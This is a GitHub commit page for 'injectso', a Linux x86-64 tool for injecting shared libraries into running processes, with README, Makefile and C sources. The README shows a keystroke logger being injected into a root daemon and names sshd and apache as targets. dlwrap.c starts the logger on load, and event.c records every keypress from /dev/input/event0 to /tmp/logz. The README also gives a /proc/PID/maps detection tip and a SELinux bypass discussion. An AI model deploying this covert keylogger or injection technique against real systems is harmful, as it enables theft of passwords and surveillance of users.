Permalink
Browse files

Initial checkin from http://c-skills.blogspot.com/2007/05/injectso.html

  • Loading branch information...
0 parents commit e73565d68565e19ea757e1addf5cf02d5d3d6dae @ice799 committed Jul 31, 2010
Showing with 942 additions and 0 deletions.
  1. +37 −0 LICENSE
  2. +17 −0 Makefile
  3. +136 −0 README
  4. +22 −0 dlwrap.c
  5. +10 −0 dso-test.c
  6. +58 −0 dumpkey2h
  7. +105 −0 event.c
  8. +291 −0 inject.c
  9. +242 −0 keytab.h
  10. +24 −0 test.c
37 LICENSE
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2007-2009 Stealth.
+ * All rights reserved.
+ *
+ * This is NOT a common BSD license, so read on.
+ *
+ * Redistribution in source and use in binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1. The provided software is FOR EDUCATIONAL PURPOSES ONLY! You must not
+ * use this software or parts of it to commit crime or any illegal
+ * activities. Local law may forbid usage or redistribution of this
+ * software in your country.
+ * 2. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 3. Redistribution in binary form is not allowed.
+ * 4. All advertising materials mentioning features or use of this software
+ * must display the following acknowledgement:
+ * This product includes software developed by Stealth.
+ * 5. The name Stealth may not be used to endorse or promote
+ * products derived from this software without specific prior written
+ * permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ */
+
@@ -0,0 +1,17 @@
+CC=gcc
+CFLAGS=-c -Wall -O2
+AS=yasm -f elf
+
+all:
+ $(CC) $(CFLAGS) inject.c
+ $(CC) inject.o -o inject -ldl
+
+ $(CC) $(CFLAGS) -fPIC event.c dlwrap.c
+ $(LD) -Bshareable -o event.so event.o dlwrap.o -lpthread
+
+clean:
+ rm -rf *.o
+
+
+
+
136 README
@@ -0,0 +1,136 @@
+injectso
+========
+
+This is the x86-64 rewrite of Shaun Clowes' i386/SPARC injectso which
+he presented at Blackhat Europe 2001.
+
+Lots of changes happened since then to the Linux runtime environment. The x86-64
+architecture and ABI required some changes, not only substituting the ELF32 by ELF64
+headers. Internal dl* functions check whether they are called from ld.so or glibc,
+e.g. we cant just point %rip to them. Luckily a do_dlopen() wrapper is located
+within glibc, otherwise we'd need to setup a fake stack-frame.
+
+Injectso allows for injecting a DLL at runtime into a process, if apropriate permissions
+are given. Two test-DSOs are included, one which prints out a hello-message and one
+wich records key-strokes into a file. If injected into a root-process it
+starts a logging-thread:
+
+(output-log from older injectso (2007) but the new one works the same)
+lopht:~ # uname -a
+Linux lopht 2.6.18.2-34-default #1 SMP Mon Nov 27 11:46:27 UTC 2006 x86_64 x86_64 x86_64 GNU/Linux
+lopht:event # ps auxH|grep nscd
+root 8824 0.0 0.0 120792 624 ? Ssl 23:08 0:00 /usr/sbin/nscd
+root 8824 0.0 0.0 120792 624 ? Ssl 23:08 0:00 /usr/sbin/nscd
+root 8824 0.0 0.0 120792 624 ? Ssl 23:08 0:00 /usr/sbin/nscd
+root 8824 0.0 0.0 120792 624 ? Ssl 23:08 0:00 /usr/sbin/nscd
+root 8824 0.0 0.0 120792 624 ? Ssl 23:08 0:00 /usr/sbin/nscd
+root 8824 0.0 0.0 120792 624 ? Ssl 23:08 0:00 /usr/sbin/nscd
+root 8824 0.0 0.0 120792 624 ? Ssl 23:08 0:00 /usr/sbin/nscd
+root 8833 0.0 0.0 5000 784 tty3 S+ 23:08 0:00 grep nscd
+lopht:event # ls -la /tmp/logz
+ls: cannot access /tmp/logz: No such file or directory
+
+Normal nscd, no logfiles. Injecting a DSO:
+
+lopht:event # ./inject 8824 /tmp/d.so
+do_dlopen:0x2b6843415a40 do_dlopen_offset:000f2a40 daemon's dl_open:0x2b911b7fda40 daemon's libc:0x2b911b70b000
+a 7fff8fbf7590
+lopht:event # cat /tmp/logz
+<+c>at <Shift>7t<+m>p<Shift>7logz<Return>lopht:event #
+
+DSO successfully injected. One thread more appears in the listing:
+
+lopht:event # ps auxH|grep nscd
+root 8824 0.0 0.0 137320 948 ? Ssl 23:08 0:00 /usr/sbin/nscd
+root 8824 0.0 0.0 137320 948 ? Ssl 23:08 0:00 /usr/sbin/nscd
+root 8824 0.0 0.0 137320 948 ? Ssl 23:08 0:00 /usr/sbin/nscd
+root 8824 0.0 0.0 137320 948 ? Ssl 23:08 0:00 /usr/sbin/nscd
+root 8824 0.0 0.0 137320 948 ? Ssl 23:08 0:00 /usr/sbin/nscd
+root 8824 0.0 0.0 137320 948 ? Ssl 23:08 0:00 /usr/sbin/nscd
+root 8824 0.0 0.0 137320 948 ? Ssl 23:08 0:00 /usr/sbin/nscd
+root 8824 0.0 0.0 137320 948 ? Ssl 23:09 0:00 /usr/sbin/nscd
+root 8840 0.0 0.0 5000 788 tty3 S+ 23:09 0:00 grep nscd
+
+If you want to check for evil injects, use /proc/PID/maps. Targets are nscd, sshd, apache etc.
+Only reasonable libraries should appear in the output; no d.so or /tmp paths etc.
+
+lopht:~ # cat /proc/8824/maps
+40000000-40001000 ---p 40000000 00:00 0
+40001000-40201000 rw-p 40001000 00:00 0
+40201000-40202000 ---p 40201000 00:00 0
+40202000-40402000 rw-p 40202000 00:00 0
+40402000-40403000 ---p 40402000 00:00 0
+40403000-40603000 rw-p 40403000 00:00 0
+40603000-40604000 ---p 40603000 00:00 0
+40604000-40804000 rw-p 40604000 00:00 0
+40804000-40805000 ---p 40804000 00:00 0
+40805000-40a05000 rw-p 40805000 00:00 0
+40a05000-40a06000 ---p 40a05000 00:00 0
+40a06000-40c06000 rw-p 40a06000 00:00 0
+40c06000-40c07000 ---p 40c06000 00:00 0
+40c07000-41407000 rw-p 40c07000 00:00 0
+2aaaaaad9000-2aaaaaae0000 r-xp 00000000 08:01 5837686 /lib64/libnss_compat-2.5.so
+2aaaaaae0000-2aaaaacdf000 ---p 00007000 08:01 5837686 /lib64/libnss_compat-2.5.so
+2aaaaacdf000-2aaaaace1000 rw-p 00006000 08:01 5837686 /lib64/libnss_compat-2.5.so
+2aaaaad0e000-2aaaaad18000 r-xp 00000000 08:01 5837694 /lib64/libnss_nis-2.5.so
+2aaaaad18000-2aaaaaf17000 ---p 0000a000 08:01 5837694 /lib64/libnss_nis-2.5.so
+2aaaaaf17000-2aaaaaf19000 rw-p 00009000 08:01 5837694 /lib64/libnss_nis-2.5.so
+2aaaaaf19000-2aaaaaf23000 r-xp 00000000 08:01 5837690 /lib64/libnss_files-2.5.so
+2aaaaaf23000-2aaaab122000 ---p 0000a000 08:01 5837690 /lib64/libnss_files-2.5.so
+2aaaab122000-2aaaab124000 rw-p 00009000 08:01 5837690 /lib64/libnss_files-2.5.so
+2aaaab124000-2aaaab127000 r-xp 00000000 07:00 418032 /tmp/d.so
+2aaaab127000-2aaaab326000 ---p 00003000 07:00 418032 /tmp/d.so
+2aaaab326000-2aaaab327000 r--p 00002000 07:00 418032 /tmp/d.so
+2aaaab327000-2aaaab329000 rw-p 00003000 07:00 418032 /tmp/d.so
+2b911aeb1000-2b911aecd000 r-xp 00000000 08:01 5837666 /lib64/ld-2.5.so
+2b911aecd000-2b911aece000 rw-p 2b911aecd000 00:00 0
+2b911aefb000-2b911aefc000 rw-p 2b911aefb000 00:00 0
+2b911b0cd000-2b911b0cf000 rw-p 0001c000 08:01 5837666 /lib64/ld-2.5.so
+2b911b0cf000-2b911b0d7000 r-xp 00000000 08:01 5837703 /lib64/librt-2.5.so
+2b911b0d7000-2b911b2d6000 ---p 00008000 08:01 5837703 /lib64/librt-2.5.so
+2b911b2d6000-2b911b2d8000 rw-p 00007000 08:01 5837703 /lib64/librt-2.5.so
+2b911b2d8000-2b911b2ee000 r-xp 00000000 08:01 5837699 /lib64/libpthread-2.5.so
+2b911b2ee000-2b911b4ed000 ---p 00016000 08:01 5837699 /lib64/libpthread-2.5.so
+2b911b4ed000-2b911b4ef000 rw-p 00015000 08:01 5837699 /lib64/libpthread-2.5.so
+2b911b4ef000-2b911b4f3000 rw-p 2b911b4ef000 00:00 0
+2b911b4f3000-2b911b507000 r-xp 00000000 08:01 5837684 /lib64/libnsl-2.5.so
+2b911b507000-2b911b706000 ---p 00014000 08:01 5837684 /lib64/libnsl-2.5.so
+2b911b706000-2b911b708000 rw-p 00013000 08:01 5837684 /lib64/libnsl-2.5.so
+2b911b708000-2b911b70b000 rw-p 2b911b708000 00:00 0
+2b911b70b000-2b911b844000 r-xp 00000000 08:01 5837673 /lib64/libc-2.5.so
+2b911b844000-2b911ba43000 ---p 00139000 08:01 5837673 /lib64/libc-2.5.so
+2b911ba43000-2b911ba46000 r--p 00138000 08:01 5837673 /lib64/libc-2.5.so
+2b911ba46000-2b911ba48000 rw-p 0013b000 08:01 5837673 /lib64/libc-2.5.so
+2b911ba48000-2b911ba4f000 rw-p 2b911ba48000 00:00 0
+2b911ba4f000-2b911da4f000 rw-s 00000000 08:01 5937272 /var/run/nscd/passwd
+2b911da4f000-2b911fa4f000 rw-s 00000000 08:01 5937273 /var/run/nscd/group
+2b911fa4f000-2b9121a4f000 rw-s 00000000 08:01 5937393 /var/run/nscd/dbkwnWNO (deleted)
+555555554000-55555556c000 r-xp 00000000 08:01 6132031 /usr/sbin/nscd
+55555576c000-55555576e000 rw-p 00018000 08:01 6132031 /usr/sbin/nscd
+55555576e000-55555578f000 rw-p 55555576e000 00:00 0 [heap]
+7fff8fbe4000-7fff8fbf9000 rw-p 7fff8fbe4000 00:00 0 [stack]
+ffffffffff600000-ffffffffffe00000 ---p 00000000 00:00 0 [vdso]
+
+On some daemons, injecting the DSO does not work for unknown reason.
+It doesnt crash or alike; it just doesnt have any effect. Need to debug.
+
+Hardening discussion
+--------------------
+Some hardening mechanisms block injecting of DSO's into confined
+processes; out of the box.
+
+Some systems have for example targeted SELinux configs enabled. However
+this does not help against local attackers injecting DSO's into sshd process
+space for example. Bypassing sshd target policy is as easy as copying
+the DSO to /lib64 to have it "unconfined_u:object_r:lib_t label"
+thus allowing the process to load it into memory. Since you'd need
+root anyway to ptrace sshd, this is no barrier. And there are places
+which is sshd allowed to write to, /var/log for example. So at the end
+you won nothing with the policy. If someone gained root, he won.
+You'd need full blown strict policy or RBAC system to forbid that.
+On the other hand, targeted policy already prevented me writing some
+local root exploit using sshd as exploitation vector, so its not so
+useless you may think.
+injectso may be used to test policy configs by injecting DSO's
+to create/read/etc. files on behalf of confined processes.
+
@@ -0,0 +1,22 @@
+#include <stdio.h>
+#include <pthread.h>
+
+extern int event_main(int argc, char **argv);
+
+void *thread(void *arg)
+{
+ char *argv[] = {"foo", "/dev/input/event0", "/tmp/logz", NULL};
+ event_main(3, argv);
+ return NULL;
+}
+
+
+void _init()
+{
+
+ pthread_t tid;
+ pthread_create(&tid, NULL, thread, NULL);
+ pthread_detach(tid);
+ return;
+}
+
@@ -0,0 +1,10 @@
+/* gcc -fPIC -shared -nostartfiles dso-test.c -o /tmp/i.so */
+#include <stdio.h>
+
+
+void _init()
+{
+ fprintf(stderr, "Yo from init()\n");
+}
+
+
@@ -0,0 +1,58 @@
+#!/usr/bin/perl -w
+
+
+open(I, "dumpkeys|") or die $!;
+open(O, ">keytab.h") or die $!;
+
+print O<<EOF;
+#ifndef __keytab_h__
+#define __keytab_h__
+
+char *keytable[512] = {
+EOF
+
+my %keytab = ();
+my %name2char = (
+ "one" => "1",
+ "two" => "2",
+ "three" => "3",
+ "four" => "4",
+ "five" => "5",
+ "six" => "6",
+ "seven" => "7",
+ "eight" => "8",
+ "nine" => "9",
+ "zero" => "0",
+
+ "minus" => "-",
+ "plus" => "+",
+ "period" => ".",
+ "space" => " ",
+);
+
+while(<I>) {
+ if (/keycode\s+(\d+)\s+=\s+(\S+)\s+/) {
+ if (!defined $keytab{$1}) {
+ $keytab{$1} = $2;
+ }
+ }
+}
+close(I);
+
+my $s = "";
+foreach (keys %keytab) {
+ if (length($keytab{$_}) > 1) {
+ if (defined $name2char{$keytab{$_}}) {
+ $s = $name2char{$keytab{$_}};
+ } else {
+ $s = "<".$keytab{$_}.">";
+ }
+ } else {
+ $s = $keytab{$_};
+ }
+ print O "\t[$_] = \"".$s."\",\n";
+}
+
+print O "};\n#endif\n";
+close(O);
+
105 event.c
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2007-2009 Stealth.
+ * All rights reserved.
+ *
+ * This is NOT a common BSD license, so read on.
+ *
+ * Redistribution in source and use in binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1. The provided software is FOR EDUCATIONAL PURPOSES ONLY! You must not
+ * use this software or parts of it to commit crime or any illegal
+ * activities. Local law may forbid usage or redistribution of this
+ * software in your country.
+ * 2. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 3. Redistribution in binary form is not allowed.
+ * 4. All advertising materials mentioning features or use of this software
+ * must display the following acknowledgement:
+ * This product includes software developed by Stealth.
+ * 5. The name Stealth may not be used to endorse or promote
+ * products derived from this software without specific prior written
+ * permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ */
+
+#include <stdio.h>
+#include <sys/types.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <unistd.h>
+#include <stdlib.h>
+#include <time.h>
+#include <linux/input.h>
+#include <string.h>
+#include "keytab.h"
+
+void die(const char *msg)
+{
+ perror(msg);
+ exit(errno);
+}
+
+
+#ifdef STANDALONE
+int main(int argc, char **argv)
+#else
+int event_main(int argc, char **argv)
+#endif
+{
+ int fd, r = 0;
+ struct input_event ev;
+ int keycode_cache[512], k;
+ int io_arg[2];
+ char *event_file = "/dev/input/event0";
+ char *output_file = "/dev/stdout";
+ FILE *fout = NULL;
+
+ memset(&keycode_cache, 0, sizeof(keycode_cache));
+
+ if (argc == 2) {
+ event_file = argv[1];
+ } else if (argc == 3) {
+ event_file = argv[1];
+ output_file = argv[2];
+ }
+
+ if ((fd = open(event_file, O_RDONLY)) < 0)
+ die("open");
+ if ((fout = fopen(output_file, "a")) == NULL)
+ die("fopen");
+
+ setbuffer(fout, NULL, 0);
+
+ for (;;) {
+ r = read(fd, &ev, sizeof(ev));
+
+ // key and key-pressed
+ if (ev.type == EV_KEY && ev.value == 1 && ev.code < 512) {
+ if ((k = keycode_cache[ev.code]) == 0) {
+ io_arg[0] = ev.code;
+ ioctl(fd, EVIOCGKEYCODE, &io_arg);
+ k = io_arg[1];
+ if (io_arg[0] < 512)
+ keycode_cache[io_arg[0]] = k;
+ }
+ if (k > 0 && k < 512)
+ fprintf(fout, "%s", keytable[k]);
+ }
+ }
+ return 0;
+}
+
+
Oops, something went wrong.

0 comments on commit e73565d

Please sign in to comment.